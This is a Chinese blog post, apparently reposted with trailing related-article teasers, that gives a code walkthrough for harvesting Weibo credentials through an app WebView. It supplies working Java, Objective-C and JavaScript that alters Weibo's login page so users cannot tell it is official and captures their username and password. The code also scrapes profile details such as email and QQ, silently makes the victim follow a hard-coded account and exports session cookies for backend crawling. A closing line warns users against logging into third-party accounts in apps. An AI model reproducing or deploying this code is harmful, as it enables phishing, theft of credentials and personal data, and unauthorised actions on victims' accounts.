摘要:地址项目目的在和端使用组件与进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。登录这是微博移动端登录页首先使用串改当前页面元素,让用户没法意识到这是微博官方的登录页。
github地址
项目目的在app(ios和android)端使用webview组件与js进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。
传统爬虫模式的局限传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择selenium,性能更无法保证。同时,对于个人账户,安全措施越来越严,使用代理ip进行操作,很容易造成异地登录等问题,代理ip也很可能在全网被重复使用的情况下,被封杀,频繁的代理ip切换也会带来需要二次登录等问题。
所以这两年年来,发现市面上越来越多的提供sdk方式的数据提供商,经过抓包及反编译sdk,发现其大多数使用webview载入第三方页面的方式完成登录,有的在登录完成之后,获取cookie传送到后端完成爬取,有的直接在app内完成所需信息的收集。
这是微博移动端登录页
首先使用JavaScript串改当前页面元素,让用户没法意识到这是微博官方的登录页。
android
webView.loadUrl(LOGINPAGEURL);
iOS
[self requestUrl:self.loginPageUrl]; //请求url方法 -(void) requestUrl:(NSString*) urlString{ NSURL* url=[NSURL URLWithString:urlString]; NSURLRequest* request=[NSURLRequest requestWithURL:url]; [self.webView loadRequest:request]; }js代码注入
首先我们注入js代码到app的webview中
android
private void injectScriptFile(String filePath) { InputStream input; try { input = webView.getContext().getAssets().open(filePath); byte[] buffer = new byte[input.available()]; input.read(buffer); input.close(); // String-ify the script byte-array using BASE64 encoding String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP); String funstr = "javascript:(function() {" + "var parent = document.getElementsByTagName("head").item(0);" + "var script = document.createElement("script");" + "script.type = "text/javascript";" + "script.innerHTML = decodeURIComponent(escape(window.atob("" + encoded + "")));" + "parent.appendChild(script)" + "})()"; execJsNoReturn(funstr); } catch (IOException e) { Log.e(TAG, "injectScriptFile: " + e); } }
iOS
//注入js文件 - (void) injectJsFile:(NSString *)filePath{ NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"]; NSData *data=[NSData dataWithContentsOfFile:jsPath]; NSString *responData = [data base64EncodedStringWithOptions:0]; NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() { var parent = document.getElementsByTagName("head").item(0); var script = document.createElement("script"); script.type = "text/javascript"; script.innerHTML = decodeURIComponent(escape(window.atob("%@"))); parent.appendChild(script)})()",responData]; [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }]; }
我们都采用读取js文件,然后base64编码后,使用window.atob把其做为一个脚本注入到当前页面(注意:window.atob处理中文编码后会得到的编码不正确,需要使用ecodeURIComponent escape来进行正确的校正。)
在这里已经使用了app端,调用js的方法来创建元素。
android端:
webView.evaluateJavascript(funcStr, new ValueCallback() { @Override public void onReceiveValue(String s) { } });
ios端:
[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }];
这两个方法可以获取返回值,正因为如此,可以使用js提取页面信息后,返回给webview,然后收集信息完成之后,汇总进行通信。
js串改页面//串改页面元素,让用户以为是授权登录 function getLogin(){ var topEle=selectNode("//*[@id="avatarWrapper"]"); var imgEle=selectNode("//*[@id="avatarWrapper"]/img"); topEle.remove(imgEle); var returnEle=selectNode("//*[@id="loginWrapper"]/a"); returnEle.className=""; returnEle.innerText=""; pEle=selectNode("//*[@id="loginWrapper"]/p"); pEle.className=""; pEle.innerHTML=""; footerEle=selectNode("//*[@id="loginWrapper"]/footer"); footerEle.innerHTML=""; var loginNameEle=selectNode("//*[@id="loginName"]"); loginNameEle.placeholder="请输入用户名"; var buttonEle=selectNode("//*[@id="loginAction"]"); buttonEle.innerText="请进行用户授权"; selectNode("//*[@id="loginWrapper"]/form/section/div[1]/i").className=""; selectNode("//*[@id="loginWrapper"]/form/section/div[2]/i").className=""; selectNode("//*[@id="loginAction"]").className="btn"; selectNode("//a[@id="loginAction"]").addEventListener("click",transPortUnAndPw,false); return window.webkit; } function transPortUnAndPw(){ username=selectNode("//*[@id="loginName"]").value; pwd=selectNode("//*[@id="loginPassword"]").value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); }
使用js修改页面元素,使之看起来不会让人发觉这是weibo官方的页面。
修改后的页面如图:
selectNode("//a[@id="loginAction"]").addEventListener("click",transPortUnAndPw,false); function transPortUnAndPw(){ username=selectNode("//*[@id="loginName"]").value; pwd=selectNode("//*[@id="loginPassword"]").value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); }
同时串改登录点击按钮,通过js调用app webview的方法,把用户名和密码传递给app webview 完成信息收集。
js调用webview的方法android端:
// js代码 window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd})); //Java代码 webView.addJavascriptInterface(new WeiboJsInterface(), "weibo"); public class WeiboJsInterface { @JavascriptInterface public void getPwd(String returnValue) { try { unpwDict = new JSONObject(returnValue); } catch (JSONException e) { e.printStackTrace(); } } }
android通过实现一个@JavaScriptInterface接口,把这个方法添加类添加到webview的浏览器内核之上,当调用这个方法时,会触发android端的调用。
ios端:
//js代码 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); //oc代码 WKUserContentController *userContentController = [[WKUserContentController alloc] init]; [userContentController addScriptMessageHandler:self name:@"getInfo"]; - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message { self.unpwDict=[self getReturnDict:message.body]; }
ios方式,实现方式与此类似,不过由于我对oc以及ios开发不熟悉,代码运行不符合期望,希望专业的能指正。
个人信息获取 直接提取页面的难点webview这个组件,无论是在android端 onPageFinished方法还是ios端的didFinishNavigation方法,都无法正确判定页面是否加载完全。所以对于很多页面,还是选择走接口
请求接口本项目中,获取用户自己的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,需要仔细抓包获取
仔细分析 “我”这个标签下的请求情况,发现https://m.weibo.cn/home/me?fo...,通过这个请求,获取核心参数,然后,获取用户的微博 关注 粉丝的预览页面。
然后通过
JSON.stringify(JSON.parse(document.getElementsByTagName("pre")[0].innerText))
获取json字符串,并传到app端进行解析。
解析及多次请求的逻辑
也有页面,如个人资料,页面较简单,可以使用js提取
js代码function getPersonInfo(){ var name=selectNodeText("//*[@id="J_name"]"); var sex=selectNodeText("/*[@id="sex"]/option[@selected]"); var location=selectNodeText("//*[@id="J_location"]"); var year=selectNodeText("//*[@id="year"]/option[@selected]"); var month=selectNodeText("//*[@id="month"]/option[@selected]"); var day=selectNodeText("//*[@id="day"]/option[@selected]"); var email=selectNodeText("//*[@id="J_email"]"); var blog=selectNodeText("//*[@id="J_blog"]"); if(blog=="输入博客地址"){ blog="未填写"; } var qq=selectNodeText("//*[@id="J_QQ"]"); if(qq=="QQ帐号"){ qq="未填写"; } birthday=year+"-"+month+"-"+day; theDict={"name":name,"sex":sex,"localtion":location,"birthday":birthday,"email":email,"blog":blog,"qq":qq}; return JSON.stringify({"personInfomation":theDict}); }
由于webview不支持 $x 的xpath写法,为了方便,使用原生的XPathEvaluator, 实现了特定的提取。
function selectNodes(sXPath) { var evaluator = new XPathEvaluator(); var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (result != null) { var nodeArray = []; var nodes = result.iterateNext(); while (nodes) { nodeArray.push(nodes); nodes = result.iterateNext(); } return nodeArray; } return null; }; //选取子节点 function selectChildNode(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); return newNode; } } function selectChildNodeText(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode != null) { return newNode.textContent.replace(/(^s*)|(s*$)/g, ""); ; } else { return ""; } } } function selectChildNodes(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var nodeArray = []; var newNode = newResult.iterateNext(); while (newNode) { nodeArray.push(newNode); newNode = newResult.iterateNext(); } return nodeArray; } } function selectNodeText(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode.textContent.replace(/(^s*)|(s*$)/g, ""); ; } return ""; } } function selectNode(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode; } return null; } }自动关注用户
由于个人微博页面 onPageFinished与didFinishNavigation这两个方法无法判定页面是否加载完全,
为了解决这个问题,在android端,使用拦截url,判定页面加载图片的数量来确定,是否,加载完全
//由于页面的正确加载onPageFinieshed和onProgressChanged都不能正确判定,所以选择在加载多张图片后,判定页面加载完成。 //在这样的情况下,自动点击元素,完成自动关注用户。 @Override public void onLoadResource(WebView view, String url) { if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) { newIndex++; if (newIndex == 5) { webView.post(new Runnable() { @Override public void run() { injectJsUseXpath("autoFocus.js"); execJsNoReturn("autoFocus();"); } }); } } super.onLoadResource(view, url); }
js 自动点击
function autoFocus(){ selectNode("//span[@class="m-add-box"]").click(); }
在ios端,使用访问接口的方式
除了目标用户的id外,还有一个st字符串,通过chrome的search,定位,然后通过js提取
function getSt(){ return config["st"]; }
然后构造post,请求,完成关注
- (void) autoFocus:(NSString*) st{ //Wkwebview采用js模拟完成表单提交 NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = "post"; var form = document.createElement("form"); form.setAttribute("method", method); form.setAttribute("action", path); for(var key in params) { if(params.hasOwnProperty(key)) { var hiddenField = document.createElement("input"); hiddenField.setAttribute("type", "hidden"); hiddenField.setAttribute("name", key); hiddenField.setAttribute("value", params[key]); form.appendChild(hiddenField); } } document.body.appendChild(form); form.submit(); } post("https://m.weibo.cn/api/friendships/create",{"uid":"1195242865","st":"%@"});",st]; [self execJsNoReturn:jsStr]; }
ios WkWebview没有post请求,接口,所以构造一个表单提交,完成post请求。
完成,一个自动关注,当然,构造一个用户id的列表,很简单就可以实现自动关注多个用户。
如果需要爬取的数据量大,可以选择爬取少量关键信息后,把cookie传到后端处理
android 端 cookie处理
CookieSyncManager.createInstance(context); CookieManager cookieManager = CookieManager.getInstance();
通过cookieManage对象可以获取cookie字符串,传送到后端,继续爬取
ios端cookie处理
NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
处理方式与android端类似。
总结对于数据工程师来说,webview有点类似于selenium,但是运行在服务端的selenium,有太多的局限性。webview的在客户端运行,就像一个用户就是一台肉机。
以webview为基础,使用app收集信息加以利用,现阶段大多数人都还没意识到,但是,市场上的产品已经越来越多,特别是那些对数据有特殊需要的各种金融机构。
对于普通用户来说,不要轻易在一个app上登录第三方账户,信息泄露,财产损失,在按下登录或者本例中的假装授权后,都是不可避免的。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/11325.html
摘要:登录认证几乎是任何一个系统的标配,系统客户端等,好多都需要注册登录授权认证。假设我们开发了一个电商平台,并集成了微信登录,以这个场景为例,说一下的工作原理。微信网页授权是授权码模式的授权模式。 登录认证几乎是任何一个系统的标配,web 系统、APP、PC 客户端等,好多都需要注册、登录、授权认证。 场景说明 以一个电商系统,假设淘宝为例,如果我们想要下单,首先需要注册一个账号。拥有了账...
摘要:微博墙就是这样的一个工具,这不是一款普通的插件,这是一款搭建在基于的插件。这是一款基于的插件,底层语言开发,性能卓越。 在现在移动互联网时代,微博已经成为了每个人生活中必不可少的一个社交工具。而WordPress是全世界最为流行的博客系统,把你的博客接入新浪微博,借助微博的强大用户群,不仅能给你的网站提供巨大的流量,而且还能带来不可估量价值。 WordPress微博墙就是这样的一个工具...
摘要:微博系统的推模式和拉模式实现推拉结合推数据和拉数据都有什么优缺点在用户的信息流中,推数据的实现其实更简单。姚晨发了条微博,只需要取出姚晨粉丝的信息流,依次推给粉丝就了。简单介绍了我对时间流的看法只是我个人的认识,不知道微博具体是如何实现的。 微博feed系统的推(push)模式和拉(pull)模式实现timeline 推拉结合 推数据和拉数据都有什么优缺点?在用户的信息流中,推数据的实...
阅读 3207·2021-11-12 10:36
阅读 1257·2019-08-30 15:56
阅读 2441·2019-08-30 11:26
阅读 550·2019-08-29 13:00
阅读 3607·2019-08-28 18:08
阅读 2748·2019-08-26 17:18
阅读 1892·2019-08-26 13:26
阅读 2430·2019-08-26 11:39